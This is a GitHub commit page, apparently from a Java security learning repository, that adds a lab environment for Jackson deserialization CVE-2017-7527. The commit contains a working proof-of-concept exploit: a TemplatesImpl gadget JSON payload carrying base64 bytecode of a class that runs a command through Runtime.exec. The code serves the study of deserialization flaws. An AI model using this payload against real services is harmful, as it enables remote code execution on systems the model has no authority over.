FazBrowse GitHub Viewer | Trending |
URL:
| Home
Tools: [Download Repo ZIP]   [Original HTTPS Page]

:new:新增 Jackson 漏洞环境 · anfutest/JavaSecurityLearning@f98031f · GitHub

Repository navigation

Commit f98031f

Browse files
committed
🆕新增 Jackson 漏洞环境
1 parent e393eda commit f98031f

4 files changed

Lines changed: 90 additions & 1 deletion

File tree

‎JavaSecurity/Jackson/CVE-2017-7527/pom.xml‎

Lines changed: 16 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,7 @@
1010
<dependency>
1111
<groupId>com.fasterxml.jackson.core</groupId>
1212
<artifactId>jackson-databind</artifactId>
13-
<version>2.7.9</version>
13+
<version>2.7.9.1</version>
1414
</dependency>
1515
<dependency>
1616
<groupId>com.fasterxml.jackson.core</groupId>
@@ -24,4 +24,19 @@
2424
</dependency>
2525

2626
</dependencies>
27+
<build>
28+
<plugins>
29+
<!--compiler插件-->
30+
<plugin>
31+
<groupId>org.apache.maven.plugins</groupId>
32+
<artifactId>maven-compiler-plugin</artifactId>
33+
<version>3.6.1</version>
34+
<configuration>
35+
<source>1.7</source>
36+
<target>1.7</target>
37+
<encoding>${file.encoding}</encoding>
38+
</configuration>
39+
</plugin>
40+
</plugins>
41+
</build>
2742
</project>
Lines changed: 44 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,44 @@
1+
package com.drunkbaby;
2+
3+
import com.fasterxml.jackson.databind.ObjectMapper;
4+
5+
import javax.xml.bind.DatatypeConverter;
6+
import java.io.FileInputStream;
7+
import java.io.*;
8+
9+
public class PoC {
10+
public static void main(String[] args) throws Exception {
11+
String exp = readClassStr("E:\\evilClass\\SimpleCalc.class");
12+
String jsonInput = aposToQuotes("{\"object\":['com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl',\n" +
13+
"{\n" +
14+
"'transletBytecodes':['"+exp+"'],\n" +
15+
"'transletName':'drun1baby',\n" +
16+
"'outputProperties':{}\n" +
17+
"}\n" +
18+
"]\n" +
19+
"}");
20+
System.out.printf(jsonInput);
21+
ObjectMapper mapper = new ObjectMapper();
22+
mapper.enableDefaultTyping();
23+
Test test;
24+
try {
25+
test = mapper.readValue(jsonInput, Test.class);
26+
} catch (Exception e) {
27+
e.printStackTrace();
28+
}
29+
}
30+
31+
public static String aposToQuotes(String json){
32+
return json.replace("'","\"");
33+
}
34+
35+
public static String readClassStr(String cls) throws Exception{
36+
37+
File file = new File(cls);
38+
FileInputStream fileInputStream = new FileInputStream(file);
39+
byte[] bytes = new byte[(int) file.length()];
40+
fileInputStream.read(bytes);
41+
String base64Encoded = DatatypeConverter.printBase64Binary(bytes);
42+
return base64Encoded;
43+
}
44+
}
Lines changed: 25 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,25 @@
1+
package com.drunkbaby;
2+
3+
import com.sun.org.apache.xalan.internal.xsltc.DOM;
4+
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
5+
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
6+
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
7+
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
8+
9+
public class SimpleCalc extends AbstractTranslet {
10+
public SimpleCalc() throws Exception {
11+
Runtime.getRuntime().exec("Calc");
12+
}
13+
14+
@Override
15+
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
16+
17+
}
18+
19+
@Override
20+
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
21+
22+
}
23+
24+
25+
}
Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,5 @@
1+
package com.drunkbaby;
2+
3+
public class Test {
4+
public Object object;
5+
}

0 commit comments

Comments
 (0)

Back | FazBrowse Home | New Git URL